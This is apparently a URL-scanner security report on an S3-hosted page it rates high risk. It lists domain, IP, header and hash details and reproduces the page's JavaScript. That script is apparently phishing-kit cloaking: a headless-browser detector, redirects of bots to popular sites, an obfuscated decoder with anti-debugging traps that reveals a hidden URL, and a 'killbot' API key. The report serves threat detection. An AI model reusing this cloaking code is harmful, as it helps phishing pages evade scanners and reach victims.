Domain 's3.amazonaws.com' uses the commercial generic top-level domain (.com); it also runs on subdomain 's3'. The core label 'amazonaws' covers 9 characters split between four vowels and five consonants. Breaking it apart gives 3 words: amazon, aw, s. Expect two characters per word on average. No strong language cues emerged from the frequency lists.

c96e2367fab2264f5d8c2b7c39df324d39a371111723be8b05632e6de5c59635

0d85c68e91262b33f4cdae0139df4869c60dea4236fac3c7184bae41a51fb5f3

50e31ab2772a2a8e3046b05fbd8cbe3954e9ad178e3bf6ad0915f03916ea5ce9

664c2880eb8616c0e54ca23f59b48a8851d7afa676e9d6fd628c6eb40a9a0e43

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Amazon Registrar, Inc.

JSDELIVR.NET

MarkMonitor Inc.

AMAZONAWS.COM

Amazon Web Services, LLC

Amazon

Amazon Web Services

Amazon.com, Inc.

Amazon Webservices EC2

AMAZO-4


	class HeadlessDetect {
    allTestFunctions = ['testUserAgent', 'testChromeWindow', 'testPlugins', 'testAppVersion', 'testConnectionRtt'];

    constructor() {
    }
    // User Agent
    testUserAgent() {
        if (/Headless/.test(window.navigator.userAgent)) {
            return 1;
        } else {
            return 0;
        }
    }
    // Window.Chrome
    testChromeWindow() {
        if (eval.toString().length == 33 && !window.chrome) {
            return 1;
        } else {
            return 0;
        }
    }

    // Notification Permissions
    testNotificationPermissions(callback) {
        navigator.permissions.query({name:'notifications'}).then(function(permissionStatus) {
            if(Notification.permission === 'denied' && permissionStatus.state === 'prompt') {
                // Headless
                callback(1);
            } else {
                // Not Headless
                callback(0);
            }
        });
    }

    // No Plugins
    testPlugins() {
        let length = navigator.plugins.length;

        return length === 0 ? 1 : 0;
    }

    // App Version
    testAppVersion() {
        let appVersion = navigator.appVersion;

        return /headless/i.test(appVersion) ? 1 : 0;
    }

    // Connection Rtt
    testConnectionRtt() {
        let connection = navigator.connection;
        let connectionRtt = connection ? connection.rtt : undefined;

        if (connectionRtt === undefined) {
            return 0; // Flag doesn't even exists so just return NOT HEADLESS
        } else {
            return connectionRtt === 0 ? 1 : 0;
        }
    }

    getHeadlessScore() {
        let score = 0;
        let testsRun = 0;

        // Notification Permissions test has to be done using Callbacks
        // That's why it's done separately from all the other tests.
        this.testNotificationPermissions(function(v){
            score += v;
            testsRun++;
            //document.write("<p>testNotificationPermissions: " + v + "</p>"); debugging
        });

        // Loop through all functions and add their results together
        for(let i = 0; i < this.allTestFunctions.length; i++){
            score += this[this.allTestFunctions[i]].apply();
            testsRun++;
            //document.write("<p>" + this.allTestFunctions[i] + ": " + this[this.allTestFunctions[i]].apply()+ "</p>");
        }

        return score / testsRun;
    }
}

  let items = [
   'https://google.com',
   'https://instagram.com',
   'https://facebook.com',
   'https://youtube.com'
   ];

	var item = items[Math.floor(Math.random()*items.length)];
	
			// Get the user-agent string
            let userAgentString = navigator.userAgent;
	
			function checkBrowser() {
				  
					// Detect Chrome & Safari
					if( userAgentString.indexOf("Chrome")  > -1 || userAgentString.indexOf("Safari")  > -1 ) {
						return true;
					}
					else if( userAgentString.indexOf("MSIE") > -1 || 
						userAgentString.indexOf("rv:") > -1 ) { // Detect Internet Explorer
						return true;
					}
					else if( userAgentString.indexOf("Firefox") > -1 ) { // Detect Firefox
					  return true;
					}
					else if( userAgentString.indexOf("OP") > -1 ) { // Detect Opera
					  return true;
					}
					
					return false;
			}
			
			if( !checkBrowser() ) {
				window.location = item;
			}
			
			var headlessDetector = new HeadlessDetect();

			if(headlessDetector.getHeadlessScore() > 0.25){
				window.location = item;
			}
			
				
 var dec=function (code) {
	var e=['for','eval','callee','with','substring','new'],o=["+",",","-",".","/","0","1","2","3","4","5","6","7","8","9",":",";","<","=",">","?","@","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"],aa=
	function(n){var t,s='';n=''+n;for(var i=0;i<n.length;i+=3){t = (+(n[i]+n[i+1]+n[i+2])%48);if (t >= 0) s+=o[t];}return s;}, a=(function () {var a = function(s) {var l = new Array(Math.ceil(s.length/4));for (var i=0; i<l.length; i++) {l[i] = s.charCodeAt(i*4) +
	(s.charCodeAt(i*4+1)<<8)+(s.charCodeAt(i*4+2)<<16)+(s.charCodeAt(i*4+3)<<24);}return l;}, b = function(l) {var a = new Array(l.length);for (var i=0; i<l.length; i++) {a[i] = String.fromCharCode(l[i] & 0xFF, l[i]>>>8 & 0xFF,l[i]>>>16 & 0xFF, l[i]>>>24 & 0xFF);}
	return a.join('');};return function(c, w) {var v, k, n, z, y, d, mx, e, q, s, f;if (c.length === 0) return('');	v = a(window.atob(c));k = a(w.slice(0,16));n = v.length;z = v[n-1]; y = v[0]; d = 0x9E3779B9;q = Math.floor(6 + 52/n); s = q*d;while (s !== 0) {e = s>>>2 & 3;
	for (var p = n-1; p >= 0; p--) {z = v[p>0 ? p-1 : n-1];mx = (z>>>5 ^ y<<2) + (y>>>3 ^ z<<4) ^ (s^y) + (k[p&3 ^ e] ^ z);y = v[p] -= mx;}s -= d;}f = b(v);f = f.replace(/\0+$/,'');return f;};}()),f = e[2],q = function(a){var b,c,d,e,f;for(b=65521,c=1,d=e=0;(f=a.charCodeAt(e++));d=(d+c)%b)c=(c+f)%b;return(d<<16)|c;},
	c = function(a,c,d) {if (d){return d%2?(function(h,n){var t,i=0,a = [''];for (t=0;t<h.length;t++){if (h[t] !== n) {a[i] += h[t];}else {i+=1;a.push('');}}return a;}):(function(a,g){var t,m='';for (t=0;t<a.length;t++){m+=t?g:'';m+=a[t];}return m;});}
	var b=function(){var a=new Date().getTime();debugger;return a;};switch(a) {case 1:return b;case 2:return function(){debugger;return new Date().getTime();};case 3:b = c;default:return b?function(a,d,c){return ((a-d)>2 || (d-a)>2)?a/d:b>9?c+b:c;}:function(a,b){debugger; return ((a-b)<=1 && (b-a)<=1)?0/0:(a-b)/(b-a);};}},
	d={a:this,b:arguments,c:window},g,h,i,b=d.b[f].toString();var k={a: c(1,2)(),b: c(2,3)(),j: 11,l: 13,f: c(3,3)(c(1,2)(),c(2,0)(),null),h: 29,c: c(3,2)(c(1,2)(),c(2,3)()),m: 83,g: c(3,0)(2,0),y: 127,e: c(3,0)(c(1,2)(),c(2,0)(),8),i: 47,k: b,d: c(3,5)(c(1,0)(),c(2,4)(),1)};debugger;
	var s=(function(){var a=0, b=[], z = 0;return function(r,x,u){var n,w,v=0,j=2,t=0;z = (x === u) ? z : x;while (r) {w='';a++;b=[a, 0-a, a/2];with(k){y=((a-b)*(a-b)/(h*m))|0;n=z?t+z*2:k.length;
	for(t+=z;t<n;t+=1){w+=k[t];}t=z?t:z;v+=aa(q(w));z+=y;z=z>3000?i:z;if(((a-b)>2||(b-a)>2)||c==c){z+=h;}else{z+=i;}if(((a-b)<=1&&(b-a)<=1)&&(d == e)){z+=l;}
	else if(g){z+=j;}if(f==u&&r%2){z=z>m?z-m:m-z;}g=e;y=c;c=f;f=g;g=d;d=y;e=g;}r--;}return v;};}());e=''; g = a(code,s(6));for(f=0;f<25;f+=1){e+=g[f];}e=e.indexOf('http')>=0?e:'http://www.google.com';return e;
};
  


    const killbot = {
        apiKey: "_J14k_5sHZiFR3C3uZ6NGBPph1iZq3g-aYSeTKmHUNJf_", // Your API Key
        botRedirection: "https://www.google.com/" // Bot will be redirect to this URL, you can change it
    }


X-UA-Compatible

Cloudflare

Amazon S3

Cloudflare Bot Management

jsDelivr

Just a moment...

secondary

⚠️ High Risk - https://s3.amazonaws.com/appforest_uf/f1679668132337x315851416859356240/index.html?e=

Requests	IP Address	Location	AS Autonomous System
1	16.15.228.222Aws · CLOUD	Ashburn, Virginia, United States	AS14618Amazon.com, Inc.
1	104.16.179.112Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	52.217.48.118Aws · CLOUD	Ashburn, Virginia, United States	AS16509Amazon.com, Inc.
1	104.16.180.112Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	16.15.236.220Aws · CLOUD	Ashburn, Virginia, United States	AS14618Amazon.com, Inc.
1	16.15.214.202Aws · CLOUD	Ashburn, Virginia, United States	AS14618Amazon.com, Inc.
1	16.15.191.62Aws · CLOUD	Ashburn, Virginia, United States	AS14618Amazon.com, Inc.
1	16.15.238.26Aws · CLOUD	Ashburn, Virginia, United States	AS14618Amazon.com, Inc.
8	8	-	-

Security Scan Report: s3.amazonaws.com

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Domain & IP Information

Detected Technologies6

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History